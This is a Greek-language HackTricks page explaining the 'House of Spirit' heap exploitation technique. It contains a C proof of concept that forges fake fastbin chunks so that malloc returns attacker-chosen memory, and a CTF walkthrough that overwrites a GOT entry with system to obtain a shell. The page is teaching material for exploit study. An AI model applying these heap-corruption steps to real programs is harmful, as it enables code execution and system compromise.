hacktricks/binary-exploitation/libc-heap/house-of-spirit.md

9 KiB
Raw Blame History

Σπίτι του Πνεύματος

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Κώδικας

Σπίτι του Πνεύματος ```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);

// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf("Victim: %p\n", victim);

return 0; }

</details>

### Στόχος

* Να είναι δυνατή η προσθήκη ενός διευθύνσεων στο tcache / fast bin ώστε αργότερα να είναι δυνατή η εκχώρησή του

### Απαιτήσεις

* Αυτή η επίθεση απαιτεί από τον εισβολέα να μπορεί να δημιουργήσει μερικά ψεύτικα fast chunks που υποδεικνύουν σωστά την τιμή του μεγέθους τους και στη συνέχεια να μπορεί να ελευθερώσει το πρώτο ψεύτικο chunk ώστε να μπει στο bin.

### Επίθεση

* Δημιουργήστε ψεύτικα chunks που παρακάμπτουν τους ελέγχους ασφαλείας: θα χρειαστείτε 2 ψεύτικα chunks που υποδεικνύουν στις σωστές θέσεις τις σωστές τιμές μεγέθους
* Κάπως διαχειριστείτε να ελευθερώσετε το πρώτο ψεύτικο chunk ώστε να μπει στο γρήγορο ή tcache bin και στη συνέχεια να το εκχωρήσετε για να αντικαταστήσετε αυτή τη διεύθυνση

**Ο κώδικας από τον** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **είναι εξαιρετικός για να κατανοήσετε την επίθεση.** Παρόλο που αυτό το σχήμα από τον κώδικα το περιλαμβάνει αρκετά καλά:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

{% hint style="info" %} Σημειώστε ότι είναι απαραίτητο να δημιουργήσετε το δεύτερο κομμάτι προκειμένου να παρακάμψετε μερικούς ελέγχους ακεραιότητας. {% endhint %}

Παραδείγματα

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html
  • Διαρροή πληροφοριών Libc: Μέσω ενός υπερχείλισης είναι δυνατό να αλλάξει ένας δείκτης ώστε να δείχνει σε μια διεύθυνση GOT προκειμένου να διαρρεύσει μια διεύθυνση Libc μέσω της ενέργειας read του CTF
  • House of Spirit: Εκμεταλλευόμενος ένα μετρητή που μετρά τον αριθμό των "ριφλών" είναι δυνατό να δημιουργηθεί μια ψεύτικη μέγεθος του πρώτου ψεύτικου κομματιού, στη συνέχεια εκμεταλλευόμενος ένα "μήνυμα" είναι δυνατό να δημιουργηθεί το δεύτερο μέγεθος ενός κομματιού και τελικά εκμεταλλευόμενος μια υπερχείλιση είναι δυνατό να αλλάξει ένας δείκτης που θα απελευθερωθεί έτσι ώστε το πρώτο ψεύτικο κομμάτι μας να απελευθερωθεί. Στη συνέχεια, μπορούμε να το εκχωρήσουμε και μέσα σε αυτό θα υπάρχει η διεύθυνση όπου αποθηκεύεται το "μήνυμα". Στη συνέχεια, είναι δυνατό να κατευθύνουμε αυτό προς την είσοδο scanf μέσα στον πίνακα GOT, έτσι μπορούμε να το αντικαταστήσουμε με τη διεύθυνση προς το σύστημα.
    Την επόμενη φορά που καλείται το scanf, μπορούμε να στείλουμε την είσοδο "/bin/sh" και να λάβουμε ένα κέλυφος.

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks: